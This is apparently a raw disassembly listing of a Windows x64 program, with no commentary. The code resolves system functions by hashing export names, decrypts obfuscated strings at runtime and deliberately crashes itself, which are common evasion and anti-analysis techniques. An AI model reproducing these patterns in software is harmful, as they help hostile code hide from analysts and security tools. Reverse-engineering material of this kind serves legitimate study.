mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x14008eab6
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x14008eab6
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [rbx + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
mov r8d, 0x811c9dc5
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x14008eab1
nop
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x14008ea90
cmp r8d, 0xa52bcaf9
je 0x14008eabb
test r9d, r9d
jne 0x14008ea70
mov rax, qword [rax]
jmp 0x14008ea40
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov ecx, dword [rcx + rax*4]
add rcx, r10
call rcx
mov dword [0], 0xdead
mov eax, dword [0x14015c21c]
mov dword [rsp + 0x70], eax
movzx eax, word [0x14015c220]
mov word [rsp + 0x74], ax
mov byte [rsp + 0x70], reloc.WLDAP32.dll_Ordinal_46
xor byte [rsp + 0x71], 0x31
xor byte [rsp + 0x72], 0x32
xor byte [rsp + 0x73], 0x33
xor byte [rsp + 0x74], 0x34
xor byte [rsp + 0x75], 0x35
xor edx, edx
lea rcx, [rsp + 0x70]
call fcn.14006bf90
test al, al
je 0x14008ed3f
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x14008ebb6
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x14008ebb6
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rbx]
add rdx, r10
mov r8d, 0x811c9dc5
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x14008ebb1
nop dword [rax]
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x14008eb90
cmp r8d, 0xcded1a85
je 0x14008ebbb
test r9d, r9d
jne 0x14008eb70
mov rax, qword [rax]
jmp 0x14008eb40
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov edx, dword [rcx + rax*4]
add rdx, r10
xor ecx, ecx
call rdx
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x14008ec66
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x14008ec66
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [rbx + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
mov r8d, 0x811c9dc5
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x14008ec61
nop
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x14008ec40
cmp r8d, 0xe80fd3a
je 0x14008ec6b
test r9d, r9d
jne 0x14008ec20
mov rax, qword [rax]
jmp 0x14008ebf0
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov edx, dword [rcx + rax*4]
add rdx, r10
xor ecx, ecx
call rdx
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x14008ed16
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x14008ed16
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rbx]
add rdx, r10
mov r8d, 0x811c9dc5
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x14008ed11
nop dword [rax]
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x14008ecf0
cmp r8d, 0xa52bcaf9
je 0x14008ed1b
test r9d, r9d
jne 0x14008ecd0
mov rax, qword [rax]
jmp 0x14008eca0
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov ecx, dword [rcx + rax*4]
add rcx, r10
call rcx
mov dword [0], 0xdead
mov edx, Ordinal_301
lea ecx, [rdx - 0x32]
call qword [sym.imp.KERNEL32.dll_Beep]
mov byte [reloc.WS2_32.dll_accept], 0
mov byte [0x14018e6f9], 0
mov byte [reloc.WS2_32.dll_accept], 0
mov byte [0x14018e6f2], 1
jmp 0x14008ef7f
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x14008edf6
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x14008edf6
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rbx]
add rdx, r10
mov r8d, 0x811c9dc5
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x14008edf1
nop dword [rax]
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x14008edd0
cmp r8d, 0xcded1a85
je 0x14008edfb
test r9d, r9d
jne 0x14008edb0
mov rax, qword [rax]
jmp 0x14008ed80
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov edx, dword [rcx + rax*4]
add rdx, r10
xor ecx, ecx
call rdx
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x14008eea6
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x14008eea6
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rbx]
add rdx, r10
mov r8d, 0x811c9dc5
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x14008eea1
nop dword [rax]
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x14008ee80
cmp r8d, 0xe80fd3a
je 0x14008eeab
test r9d, r9d
jne 0x14008ee60
mov rax, qword [rax]
jmp 0x14008ee30
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov edx, dword [rcx + rax*4]
add rdx, r10
xor ecx, ecx
call rdx
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x14008ef56
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x14008ef56
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rbx]
add rdx, r10
mov r8d, 0x811c9dc5
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x14008ef51
nop dword [rax]
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x14008ef30
cmp r8d, 0xa52bcaf9
je 0x14008ef5b
test r9d, r9d
jne 0x14008ef10
mov rax, qword [rax]
jmp 0x14008eee0
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov ecx, dword [rcx + rax*4]
add rcx, r10
call rcx
mov dword [0], 0xdead
lea rcx, [rbp + 0x1178]
call fcn.140064f60
mov ebx, dword [reloc.WS2_32.dll_accept]
mov rdi, qword [rbp + 0x78]
mov dword [rbp + 0x580], 0x43700000
mov dword [rbp + 0x584], 0x43a00000
lea rcx, [rbp + 0x580]
call fcn.140025d40
mov qword [rsi + 0xc4], r12
mov dword [rsi + 0xcc], r12d
mov dword [rsi + 0xd0], 0x3f800000
movaps xmm7, xmmword [0x140117080]
movaps xmm8, xmmword [0x14015f2e0]
mov dword [rbp + 0x588], 0x43820000
mov dword [rbp + 0x58c], 0x42200000
movups xmm0, xmmword [0x14015c228]
movups xmmword [rbp + 0x738], xmm0
movzx eax, byte [0x14015c238]
mov byte [rbp + 0x748], al
mov r8d, r12d
cmp ebx, 2
jl 0x14008f155
movdqa xmm5, xmmword [0x14011c2a0]
movdqa xmm4, xmmword [0x14015f320]
movdqa xmm6, xmmword [0x14015f1f0]
movdqa xmm0, xmmword [str.0000000000000000]
movdqa xmmword [rsp + 0x50], xmm0
lea rcx, [rbp + 0x73c]
mov edx, dword [rsp + 0x50]
nop dword [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14015f260]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14015f260]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x10
jl 0x14008f050
cmp r8d, 0x11
jge 0x14008f1a0
movsxd rax, r8d
lea r9, [rbp + 0x738]
add r9, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x30
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x11
jl 0x14008f170
movdqa xmmword [rsp + 0x50], xmm7
movdqa xmmword [rbp + 0xd0], xmm8
lea rax, [rsp + 0x50]
mov qword [rsp + 0x40], rax
lea rax, [rbp + 0xd0]
mov qword [rsp + 0x38], rax
mov dword [rsp + 0x30], 0xffffffff
lea rax, [0x14018d670]
mov qword [rsp + 0x28], rax
lea rax, [0x14018d668]
mov qword [rsp + 0x20], rax
lea r9, [0x14018d660]
xor r8d, r8d
lea rdx, [rbp + 0x588]
lea rcx, [rbp + 0x738]
call fcn.14003fa20
test al, al
je 0x14008f214
mov byte [reloc.WS2_32.dll_accept], 0
mov byte [0x14018e6f9], 1
mov dword [rsi + 0xc4], 0x3f800000
mov dword [rsi + 0xc8], 0x3f800000
mov dword [rsi + 0xcc], 0x3f800000
mov dword [rsi + 0xd0], 0x3f800000
mov rcx, rdi
call fcn.140025b40
mov dword [rbp + 0x590], 0x4432c000
mov dword [rbp + 0x594], 0x40a00000
lea rcx, [rbp + 0x590]
call fcn.140025d40
movaps xmm0, xmmword [0x14015f2d0]
movaps xmm1, xmmword [0x14015f2a0]
mov dword [rbp + 0x598], 0x41a00000
mov dword [rbp + 0x59c], 0x41f00000
movzx eax, word [0x14015c23c]
mov word [rbp - 0x80], ax
cmp byte [0x14015c23d], 0
je 0x14008f2a2
mov byte [rbp - 0x80], 0x78
xor byte [rbp - 0x7f], 0x31
movdqa xmmword [rsp + 0x50], xmm0
movdqa xmmword [rbp + 0xd0], xmm1
lea rax, [rsp + 0x50]
mov qword [rsp + 0x38], rax
lea rax, [rbp + 0xd0]
mov qword [rsp + 0x30], rax
lea rax, [0x14018d688]
mov qword [rsp + 0x28], rax
lea rax, [0x14018d680]
mov qword [rsp + 0x20], rax
lea r9, [0x14018d678]
xor r8d, r8d
lea rdx, [rbp + 0x598]
lea rcx, [rbp - 0x80]
call fcn.14003fec0
test al, al
je 0x14008f303
mov byte [reloc.WS2_32.dll_accept], 0
mov rcx, rdi
call fcn.140025b40
mov dword [rbp + 0x5a0], 0x44278000
mov dword [rbp + 0x5a4], 0x43c80000
lea rcx, [rbp + 0x5a0]
call fcn.140025d40
movaps xmm6, xmmword [0x140117070]
mov dword [rbp + 0x5a8], 0x42700000
mov dword [rbp + 0x5ac], 0x42480000
movsd xmm0, qword [0x14015c240]
movsd qword [rbp + 0x1f8], xmm0
mov eax, dword [0x14015c248]
mov dword [rbp + 0x200], eax
cmp byte [0x14015c24b], 0
je 0x14008f4c0
mov r8d, r12d
cmp ebx, 2
jl 0x14008f483
movdqa xmm4, xmmword [0x14015f320]
movdqa xmm2, xmmword [0x14011c2a0]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x14015f1f0]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14015f260]
packuswb xmm2, xmm2
mov eax, dword [str.0000000000000000]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [0x14015c240]
xorps xmm2, xmm0
movd dword [rbp + 0x1f8], xmm2
movdqa xmm3, xmmword [0x14015f1e0]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x14015f1f0]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14015f260]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x1fc]
xorps xmm2, xmm1
movd dword [rbp + 0x1fc], xmm2
mov r8d, 8
movsxd rax, r8d
lea r9, [rbp + 0x1f8]
add r9, rax
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x30
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xc
jl 0x14008f490
movdqa xmmword [rsp + 0x50], xmm6
movups xmm0, xmmword [0x14018d2e8]
movdqa xmmword [rbp + 0xd0], xmm0
lea rax, [rsp + 0x50]
mov qword [rsp + 0x40], rax
lea rax, [rbp + 0xd0]
mov qword [rsp + 0x38], rax
mov dword [rsp + 0x30], 0xffffffff
lea rax, [0x14018ee00]
mov qword [rsp + 0x28], rax
lea rax, [0x14018ee08]
mov qword [rsp + 0x20], rax
lea r9, [0x14018edf8]
xor r8d, r8d
lea rdx, [rbp + 0x5a8]
lea rcx, [rbp + 0x1f8]
call fcn.14003fa20
test al, al
je 0x14008f7af
movups xmm0, xmmword [0x14015c250]
movups xmmword [rbp + 0xa38], xmm0
movups xmm1, xmmword [0x14015c260]
movups xmmword [rbp + 0xa48], xmm1
mov eax, dword [0x14015c270]
mov dword [rbp + 0xa58], eax
mov r8d, r12d
cmp ebx, 2
jl 0x14008f6a5
movdqa xmm5, xmmword [0x14011c2a0]
movdqa xmm4, xmmword [0x14015f320]
movdqa xmm6, xmmword [0x14015f1f0]
movdqa xmm0, xmmword [str.0000000000000000]
movdqa xmmword [rsp + 0x50], xmm0
lea rcx, [rbp + 0xa3c]
mov edx, dword [rsp + 0x50]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14015f260]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14015f260]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x20
jl 0x14008f5a0
cmp r8d, 0x24
jge 0x14008f6f0
movsxd rax, r8d
lea r9, [rbp + 0xa38]
add r9, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x30
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x24
jl 0x14008f6c0
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x14008f786
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x14008f786
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rbx]
add rdx, r10
mov r8d, 0x811c9dc5
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x14008f781
nop dword [rax]
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x14008f760
cmp r8d, 0x491e0a9c
je 0x14008f78b
test r9d, r9d
jne 0x14008f740
mov rax, qword [rax]
jmp 0x14008f710
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov edx, dword [rcx + rax*4]
add rdx, r10
lea rcx, [rbp + 0xa38]
call rdx
mov rdi, qword [rbp + 0x78]
call fcn.140015c00
mov rsi, qword [rbp + 0x640]
mov rbx, qword [rbp + 0x378]
cmp byte [0x14018e6f9], 0
je 0x140091917
mov qword [rbp + 0x5b0], 0
lea rcx, [rbp + 0x5b0]
call fcn.140025d40
mov rcx, rdi
call fcn.140025b40
call fcn.1400197f0
mov rsi, rax
movaps xmm0, xmmword [0x14015f280]
mov qword [rax + 0x114], 0x3f800000
mov dword [rax + 0x11c], r12d
mov dword [rax + 0x120], 0x3f800000
movups xmmword [rax + 0xf4], xmm0
mov dword [rax + 0xd4], 0x3f800000
mov dword [rax + 0xd8], 0x3f800000
mov dword [rax + 0xdc], 0x3f800000
mov dword [rax + 0xe0], 0x3f800000
mov dword [rax + 0x94], 0x3f000000
mov dword [rax + 0x98], 0x3f000000
mov dword [rbp + 0x5b8], 0x44390000
mov dword [rbp + 0x5bc], 0x43e60000
movsd xmm0, qword [0x14015c278]
movsd qword [rbp - 0x58], xmm0
movzx eax, word [0x14015c280]
mov word [rbp - 0x50], ax
cmp byte [reloc.WS2_32.dll_gethostname], 0
je 0x14008f8b9
mov byte [rbp - 0x58], reloc.WLDAP32.dll_Ordinal_35
xor byte [rbp - 0x57], 0x31
xor byte [rbp - 0x56], 0x32
xor byte [rbp - 0x55], 0x33
xor byte [rbp - 0x54], 0x34
xor byte [rbp - 0x53], 0x35
xor byte [rbp - 0x52], 0x36
xor byte [rbp - 0x51], 0x37
xor byte [rbp - 0x50], 0x38
xor byte [rbp - 0x4f], 0x39
xor r9d, r9d
mov r8b, 1
lea rdx, [rbp + 0x5b8]
lea rcx, [rbp - 0x58]
call fcn.140007fe0
mov dword [rbp + 0x5c0], 0x43814000
mov dword [rbp + 0x5c4], 0x42480000
lea rcx, [rbp + 0x5c0]
call fcn.140025d40
mov rcx, rbx
call fcn.140025b40
lea rcx, str.5k_Services
call fcn.14004f3e0
movaps xmm0, xmm9
call fcn.140021cc0
mov rcx, rdi
call fcn.140025b40
mov dword [rbp + 0x5c8], 0x43700000
mov dword [rbp + 0x5cc], 0x42f00000
lea rcx, [rbp + 0x5c8]
call fcn.140025d40
movsd xmm0, qword [0x14015c288]
movsd qword [rbp + 0x118], xmm0
mov eax, dword [0x14015c290]
mov dword [rbp + 0x120], eax
movzx eax, byte [reloc.WLDAP32.dll_Ordinal_60]
mov byte [rbp + 0x124], al
mov r8d, r12d
mov ebx, dword [reloc.WS2_32.dll_accept]
cmp ebx, 2
jl 0x14008fa77
movdqa xmm4, xmmword [0x14015f320]
movdqa xmm2, xmmword [0x14011c2a0]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x14015f1f0]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14015f260]
packuswb xmm2, xmm2
mov eax, dword [str.0000000000000000]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [0x14015c288]
xorps xmm2, xmm0
movd dword [rbp + 0x118], xmm2
movdqa xmm3, xmmword [0x14015f1e0]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x14015f1f0]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14015f260]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x11c]
xorps xmm2, xmm1
movd dword [rbp + 0x11c], xmm2
mov r8d, 8
movsxd rax, r8d
lea r9, [rbp + 0x118]
add r9, rax
nop dword [rax]
nop dword [rax + rax]
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x30
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xd
jl 0x14008fa90
lea rcx, [rbp + 0x118]
call fcn.14004f3e0
mov dword [rbp + 0x5d0], 0x43700000
mov dword [rbp + 0x5d4], 0x43110000
lea rcx, [rbp + 0x5d0]
call fcn.140025d40
movsd xmm0, qword [0x14015c298]
movsd qword [rbp + 0x28], xmm0
movzx ecx, word [0x14015c2a0]
mov word [rbp + 0x30], cx
movzx eax, byte [0x14015c2a2]
mov byte [rbp + 0x28], reloc.WLDAP32.dll_Ordinal_35
xor byte [rbp + 0x29], 0x31
xor byte [rbp + 0x2a], 0x32
xor byte [rbp + 0x2b], 0x33
xor byte [rbp + 0x2c], 0x34
xor byte [rbp + 0x2d], 0x35
xor byte [rbp + 0x2e], 0x36
xor byte [rbp + 0x2f], 0x37
xor cl, 0x38
mov byte [rbp + 0x30], cl
xor byte [rbp + 0x31], 0x39
xor al, 0x3a
mov byte [rbp + 0x32], al
mov qword [rsp + 0x28], r12
mov qword [rsp + 0x20], r12
xor r9d, r9d
mov r8d, 0xff
lea rdx, [0x14018d322]
lea rcx, [rbp + 0x28]
call fcn.140047840
call fcn.140021550
movaps xmm0, xmm9
call fcn.140021cc0
mov rcx, rdi
call fcn.140025b40
mov dword [rbp + 0x5d8], 0x43700000
mov dword [rbp + 0x5dc], 0x43390000
lea rcx, [rbp + 0x5d8]
call fcn.140025d40
movsd xmm0, qword [0x14015c2a8]
movsd qword [rbp + 0x128], xmm0
mov eax, dword [0x14015c2b0]
mov dword [rbp + 0x130], eax
movzx eax, byte [reloc.WLDAP32.dll_Ordinal_60]
mov byte [rbp + 0x134], al
mov r8d, r12d
cmp ebx, 2
jl 0x14008fcd0
movdqa xmm4, xmmword [0x14015f320]
movdqa xmm2, xmmword [0x14011c2a0]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x14015f1f0]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14015f260]
packuswb xmm2, xmm2
mov eax, dword [str.0000000000000000]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [0x14015c2a8]
xorps xmm2, xmm0
movd dword [rbp + 0x128], xmm2
movdqa xmm3, xmmword [0x14015f1e0]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x14015f1f0]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14015f260]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x12c]
xorps xmm2, xmm1
movd dword [rbp + 0x12c], xmm2
mov r8d, 8
movsxd rax, r8d
lea r9, [rbp + 0x128]
add r9, rax
nop dword [rax]
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x30
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xd
jl 0x14008fce0
lea rcx, [rbp + 0x128]
